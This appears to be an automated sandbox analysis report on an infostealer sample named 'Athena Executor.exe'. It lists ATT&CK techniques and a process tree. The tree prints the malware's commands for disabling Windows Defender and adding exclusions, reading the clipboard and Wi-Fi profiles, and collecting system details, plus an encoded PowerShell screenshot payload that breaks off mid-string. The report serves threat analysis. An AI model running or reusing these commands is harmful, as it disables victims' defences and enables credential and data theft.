e94e53f7afec394bc97cef0b93fe9f6a49a545260d4d3467e75a9fb1bb695425

Analysis

user interaction
yes
max time kernel
32s
max time network
34s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
31/10/2026, 13:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Athena/Athena Executor.exe
Size 7.0MB
Sample261031-p98dpadt9l
SHA256 e94e53f7afec394bc97cef0b93fe9f6a49a545260d4d3467e75a9fb1bb695425
MD5 6e1f8a3a5a90dc018d7d19cf9e4cd81c
SHA1 9dd25f60ff87f3e7c1eca32ad68637ed32b7063a
SHA512 9dd79baa476d6325e287f4ebcf2d986b812abdf7bb79ff93575e335f2f734816f5157cc71e158396b97ed3aa991727e78cff7b01404b6d02e4d17b1930afe7d5
SSDEEP 98304:3DjWM8JEhVe26amaHl3Ne4i3Tf2PkOpfW9hZMMoVmkzhxIdfXeRrrRJcIhEI03XL:30y1TeNTfm/pf+xk4dWRJPe3XX7
TLSH
T17B763325E3E015F2F6A36679C982C4498772BC150B24CEDF039916A92F276E14D3FF58
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2260	powershell.exe
5248	powershell.exe
5464	powershell.exe
5976	powershell.exe
656	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
5464	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
5848	cmd.exe
644	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1572	rar.exe

Loads dropped DLL 16 IoCs

pid	Process
1596	Athena Executor.exe
1596	Athena Executor.exe
1596	Athena Executor.exe
1596	Athena Executor.exe
1596	Athena Executor.exe
1596	Athena Executor.exe
1596	Athena Executor.exe
1596	Athena Executor.exe
1596	Athena Executor.exe
1596	Athena Executor.exe
1596	Athena Executor.exe
1596	Athena Executor.exe
1596	Athena Executor.exe
1596	Athena Executor.exe
1596	Athena Executor.exe
1596	Athena Executor.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
15	discord.com
16	discord.com

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
13	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 3 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3440	tasklist.exe
3888	tasklist.exe
1772	tasklist.exe

UPX packed file 57 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000700000002458b-21.dat	upx
behavioral1/memory/1596-25-0x00007FFF08E70000-0x00007FFF09458000-memory.dmp	upx
behavioral1/files/0x000700000002457e-27.dat	upx
behavioral1/memory/1596-29-0x00007FFF1B2C0000-0x00007FFF1B2E4000-memory.dmp	upx
behavioral1/files/0x0007000000024589-31.dat	upx
behavioral1/files/0x0007000000024585-48.dat	upx
behavioral1/files/0x0007000000024584-47.dat	upx
behavioral1/files/0x0007000000024583-46.dat	upx
behavioral1/files/0x0007000000024582-45.dat	upx
behavioral1/files/0x0007000000024581-44.dat	upx
behavioral1/files/0x0007000000024580-43.dat	upx
behavioral1/files/0x000700000002457f-42.dat	upx
behavioral1/files/0x000700000002457d-41.dat	upx
behavioral1/files/0x0007000000024590-40.dat	upx
behavioral1/files/0x000700000002458f-39.dat	upx
behavioral1/files/0x000700000002458e-38.dat	upx
behavioral1/files/0x000700000002458a-35.dat	upx
behavioral1/files/0x0007000000024588-34.dat	upx
behavioral1/memory/1596-32-0x00007FFF1FE70000-0x00007FFF1FE7F000-memory.dmp	upx
behavioral1/memory/1596-50-0x00007FFF1B2A0000-0x00007FFF1B2B9000-memory.dmp	upx
behavioral1/memory/1596-52-0x00007FFF1AEF0000-0x00007FFF1AF1D000-memory.dmp	upx
behavioral1/memory/1596-59-0x00007FFF16A60000-0x00007FFF16A83000-memory.dmp	upx
behavioral1/memory/1596-60-0x00007FFF08B00000-0x00007FFF08C73000-memory.dmp	upx
behavioral1/memory/1596-70-0x00007FFF08780000-0x00007FFF08AF5000-memory.dmp	upx
behavioral1/memory/1596-71-0x00007FFF157E0000-0x00007FFF15898000-memory.dmp	upx
behavioral1/memory/1596-76-0x00007FFF16250000-0x00007FFF1625D000-memory.dmp	upx
behavioral1/memory/1596-75-0x00007FFF1B2C0000-0x00007FFF1B2E4000-memory.dmp	upx
behavioral1/memory/1596-74-0x00007FFF16260000-0x00007FFF16274000-memory.dmp	upx
behavioral1/memory/1596-66-0x00007FFF16430000-0x00007FFF1645E000-memory.dmp	upx
behavioral1/memory/1596-65-0x00007FFF167F0000-0x00007FFF167FD000-memory.dmp	upx
behavioral1/memory/1596-64-0x00007FFF16800000-0x00007FFF16819000-memory.dmp	upx
behavioral1/memory/1596-69-0x00007FFF08E70000-0x00007FFF09458000-memory.dmp	upx
behavioral1/memory/1596-80-0x00007FFF08660000-0x00007FFF0877C000-memory.dmp	upx
behavioral1/memory/1596-128-0x00007FFF16A60000-0x00007FFF16A83000-memory.dmp	upx
behavioral1/memory/1596-179-0x00007FFF08B00000-0x00007FFF08C73000-memory.dmp	upx
behavioral1/memory/1596-216-0x00007FFF16800000-0x00007FFF16819000-memory.dmp	upx
behavioral1/memory/1596-239-0x00007FFF08780000-0x00007FFF08AF5000-memory.dmp	upx
behavioral1/memory/1596-235-0x00007FFF16430000-0x00007FFF1645E000-memory.dmp	upx
behavioral1/memory/1596-242-0x00007FFF08E70000-0x00007FFF09458000-memory.dmp	upx
behavioral1/memory/1596-248-0x00007FFF08B00000-0x00007FFF08C73000-memory.dmp	upx
behavioral1/memory/1596-257-0x00007FFF157E0000-0x00007FFF15898000-memory.dmp	upx
behavioral1/memory/1596-243-0x00007FFF1B2C0000-0x00007FFF1B2E4000-memory.dmp	upx
behavioral1/memory/1596-286-0x00007FFF08780000-0x00007FFF08AF5000-memory.dmp	upx
behavioral1/memory/1596-302-0x00007FFF08E70000-0x00007FFF09458000-memory.dmp	upx
behavioral1/memory/1596-301-0x00007FFF157E0000-0x00007FFF15898000-memory.dmp	upx
behavioral1/memory/1596-300-0x00007FFF16250000-0x00007FFF1625D000-memory.dmp	upx
behavioral1/memory/1596-299-0x00007FFF167F0000-0x00007FFF167FD000-memory.dmp	upx
behavioral1/memory/1596-298-0x00007FFF16800000-0x00007FFF16819000-memory.dmp	upx
behavioral1/memory/1596-297-0x00007FFF16A60000-0x00007FFF16A83000-memory.dmp	upx
behavioral1/memory/1596-296-0x00007FFF08B00000-0x00007FFF08C73000-memory.dmp	upx
behavioral1/memory/1596-295-0x00007FFF1AEF0000-0x00007FFF1AF1D000-memory.dmp	upx
behavioral1/memory/1596-294-0x00007FFF1B2A0000-0x00007FFF1B2B9000-memory.dmp	upx
behavioral1/memory/1596-293-0x00007FFF1FE70000-0x00007FFF1FE7F000-memory.dmp	upx
behavioral1/memory/1596-292-0x00007FFF1B2C0000-0x00007FFF1B2E4000-memory.dmp	upx
behavioral1/memory/1596-291-0x00007FFF16430000-0x00007FFF1645E000-memory.dmp	upx
behavioral1/memory/1596-290-0x00007FFF08660000-0x00007FFF0877C000-memory.dmp	upx
behavioral1/memory/1596-288-0x00007FFF16260000-0x00007FFF16274000-memory.dmp	upx

Queries system WMI classes for hardware identifiers 2 TTPs 1 IoCs

Uses WMI to read hardware serial numbers or the system UUID, commonly used to fingerprint the victim machine.

discovery

System Information Discovery

T1082

Windows Management Instrumentation

T1047

pid	Process
5584	WMIC.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 25 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5240	cmd.exe
464	cmd.exe
3924	cmd.exe
4684	cmd.exe
2552	cmd.exe
4472	cmd.exe
1520	cmd.exe
5456	cmd.exe
3708	cmd.exe
732	cmd.exe
6084	cmd.exe
5572	cmd.exe
5820	cmd.exe
5276	cmd.exe
1108	cmd.exe
3864	cmd.exe
3356	cmd.exe
3928	cmd.exe
5140	cmd.exe
5800	cmd.exe
1096	cmd.exe
3472	cmd.exe
1420	cmd.exe
2136	cmd.exe
3852	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 12 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Athena Executor.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Athena Executor.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1244	netsh.exe
4684	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4200	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
208	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
5248	powershell.exe
2260	powershell.exe
5248	powershell.exe
5464	powershell.exe
2260	powershell.exe
5464	powershell.exe
4772	powershell.exe
4772	powershell.exe
644	powershell.exe
644	powershell.exe
4772	powershell.exe
644	powershell.exe
5976	powershell.exe
5976	powershell.exe
3564	powershell.exe
3564	powershell.exe
656	powershell.exe
656	powershell.exe
1952	powershell.exe
1952	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5248	powershell.exe
Token: SeDebugPrivilege	2260	powershell.exe
Token: SeDebugPrivilege	5464	powershell.exe
Token: SeDebugPrivilege	3888	tasklist.exe
Token: SeDebugPrivilege	1772	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5632	WMIC.exe
Token: SeSecurityPrivilege	5632	WMIC.exe
Token: SeTakeOwnershipPrivilege	5632	WMIC.exe
Token: SeLoadDriverPrivilege	5632	WMIC.exe
Token: SeSystemProfilePrivilege	5632	WMIC.exe
Token: SeSystemtimePrivilege	5632	WMIC.exe
Token: SeProfSingleProcessPrivilege	5632	WMIC.exe
Token: SeIncBasePriorityPrivilege	5632	WMIC.exe
Token: SeCreatePagefilePrivilege	5632	WMIC.exe
Token: SeBackupPrivilege	5632	WMIC.exe
Token: SeRestorePrivilege	5632	WMIC.exe
Token: SeShutdownPrivilege	5632	WMIC.exe
Token: SeDebugPrivilege	5632	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5632	WMIC.exe
Token: SeRemoteShutdownPrivilege	5632	WMIC.exe
Token: SeUndockPrivilege	5632	WMIC.exe
Token: SeManageVolumePrivilege	5632	WMIC.exe
Token: 33	5632	WMIC.exe
Token: 34	5632	WMIC.exe
Token: 35	5632	WMIC.exe
Token: 36	5632	WMIC.exe
Token: SeDebugPrivilege	4772	powershell.exe
Token: SeDebugPrivilege	3440	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5632	WMIC.exe
Token: SeSecurityPrivilege	5632	WMIC.exe
Token: SeTakeOwnershipPrivilege	5632	WMIC.exe
Token: SeLoadDriverPrivilege	5632	WMIC.exe
Token: SeSystemProfilePrivilege	5632	WMIC.exe
Token: SeSystemtimePrivilege	5632	WMIC.exe
Token: SeProfSingleProcessPrivilege	5632	WMIC.exe
Token: SeIncBasePriorityPrivilege	5632	WMIC.exe
Token: SeCreatePagefilePrivilege	5632	WMIC.exe
Token: SeBackupPrivilege	5632	WMIC.exe
Token: SeRestorePrivilege	5632	WMIC.exe
Token: SeShutdownPrivilege	5632	WMIC.exe
Token: SeDebugPrivilege	5632	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5632	WMIC.exe
Token: SeRemoteShutdownPrivilege	5632	WMIC.exe
Token: SeUndockPrivilege	5632	WMIC.exe
Token: SeManageVolumePrivilege	5632	WMIC.exe
Token: 33	5632	WMIC.exe
Token: 34	5632	WMIC.exe
Token: 35	5632	WMIC.exe
Token: 36	5632	WMIC.exe
Token: SeDebugPrivilege	644	powershell.exe
Token: SeDebugPrivilege	5976	powershell.exe
Token: SeDebugPrivilege	3564	powershell.exe
Token: SeIncreaseQuotaPrivilege	2572	WMIC.exe
Token: SeSecurityPrivilege	2572	WMIC.exe
Token: SeTakeOwnershipPrivilege	2572	WMIC.exe
Token: SeLoadDriverPrivilege	2572	WMIC.exe
Token: SeSystemProfilePrivilege	2572	WMIC.exe
Token: SeSystemtimePrivilege	2572	WMIC.exe
Token: SeProfSingleProcessPrivilege	2572	WMIC.exe
Token: SeIncBasePriorityPrivilege	2572	WMIC.exe
Token: SeCreatePagefilePrivilege	2572	WMIC.exe
Token: SeBackupPrivilege	2572	WMIC.exe
Token: SeRestorePrivilege	2572	WMIC.exe
Token: SeShutdownPrivilege	2572	WMIC.exe

Suspicious use of WriteProcessMemory 57 IoCs

description	pid	Process	procid_target
PID 2704 wrote to memory of 1596	2704	Athena Executor.exe	87
PID 1596 wrote to memory of 3852	1596	Athena Executor.exe	88
PID 1596 wrote to memory of 1520	1596	Athena Executor.exe	89
PID 1596 wrote to memory of 5820	1596	Athena Executor.exe	90
PID 5820 wrote to memory of 5248	5820	cmd.exe	94
PID 3852 wrote to memory of 2260	3852	cmd.exe	95
PID 1520 wrote to memory of 5464	1520	cmd.exe	96
PID 1596 wrote to memory of 5276	1596	Athena Executor.exe	97
PID 1596 wrote to memory of 5240	1596	Athena Executor.exe	98
PID 1596 wrote to memory of 464	1596	Athena Executor.exe	101
PID 1596 wrote to memory of 5848	1596	Athena Executor.exe	103
PID 1596 wrote to memory of 3924	1596	Athena Executor.exe	104
PID 1596 wrote to memory of 1108	1596	Athena Executor.exe	107
PID 5240 wrote to memory of 3888	5240	cmd.exe	108
PID 5276 wrote to memory of 1772	5276	cmd.exe	109
PID 1596 wrote to memory of 4684	1596	Athena Executor.exe	111
PID 1596 wrote to memory of 5140	1596	Athena Executor.exe	113
PID 1596 wrote to memory of 4796	1596	Athena Executor.exe	115
PID 464 wrote to memory of 5632	464	cmd.exe	117
PID 1108 wrote to memory of 1480	1108	cmd.exe	118
PID 4684 wrote to memory of 1244	4684	cmd.exe	119
PID 5848 wrote to memory of 644	5848	cmd.exe	120
PID 4796 wrote to memory of 4772	4796	cmd.exe	121
PID 3924 wrote to memory of 3440	3924	cmd.exe	123
PID 5140 wrote to memory of 208	5140	cmd.exe	124
PID 1596 wrote to memory of 6084	1596	Athena Executor.exe	125
PID 6084 wrote to memory of 2112	6084	cmd.exe	127
PID 1596 wrote to memory of 5572	1596	Athena Executor.exe	128
PID 5572 wrote to memory of 972	5572	cmd.exe	130
PID 4772 wrote to memory of 4920	4772	powershell.exe	131
PID 1596 wrote to memory of 5800	1596	Athena Executor.exe	132
PID 5800 wrote to memory of 4412	5800	cmd.exe	134
PID 4920 wrote to memory of 5100	4920	csc.exe	135
PID 1596 wrote to memory of 1096	1596	Athena Executor.exe	136
PID 1096 wrote to memory of 4284	1096	cmd.exe	138
PID 1596 wrote to memory of 2552	1596	Athena Executor.exe	139
PID 2552 wrote to memory of 4568	2552	cmd.exe	141
PID 1596 wrote to memory of 5456	1596	Athena Executor.exe	143
PID 5456 wrote to memory of 5976	5456	cmd.exe	145
PID 1596 wrote to memory of 3864	1596	Athena Executor.exe	146
PID 1596 wrote to memory of 3356	1596	Athena Executor.exe	148
PID 3864 wrote to memory of 3596	3864	cmd.exe	150
PID 3356 wrote to memory of 3564	3356	cmd.exe	151
PID 1596 wrote to memory of 3708	1596	Athena Executor.exe	152
PID 3708 wrote to memory of 1572	3708	cmd.exe	154
PID 1596 wrote to memory of 3472	1596	Athena Executor.exe	157
PID 3472 wrote to memory of 2572	3472	cmd.exe	159
PID 1596 wrote to memory of 3928	1596	Athena Executor.exe	160
PID 3928 wrote to memory of 3804	3928	cmd.exe	162
PID 1596 wrote to memory of 1420	1596	Athena Executor.exe	163
PID 1420 wrote to memory of 5584	1420	cmd.exe	165
PID 1596 wrote to memory of 2136	1596	Athena Executor.exe	167
PID 2136 wrote to memory of 656	2136	cmd.exe	169
PID 1596 wrote to memory of 732	1596	Athena Executor.exe	170
PID 732 wrote to memory of 4200	732	cmd.exe	172
PID 1596 wrote to memory of 4472	1596	Athena Executor.exe	173
PID 4472 wrote to memory of 1952	4472	cmd.exe	175

C:\Users\Admin\AppData\Local\Temp\Athena\Athena Executor.exe
"C:\Users\Admin\AppData\Local\Temp\Athena\Athena Executor.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2704
- C:\Users\Admin\AppData\Local\Temp\Athena\Athena Executor.exe
  "C:\Users\Admin\AppData\Local\Temp\Athena\Athena Executor.exe"
  2⤵
  - Loads dropped DLL
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of WriteProcessMemory
  PID:1596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Athena\Athena Executor.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3852
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Athena\Athena Executor.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1520
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‍ .scr'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5820
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‍ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5276
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5240
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:464
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious use of AdjustPrivilegeToken
      PID:5632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:5848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3924
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1108
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:4684
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5140
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIA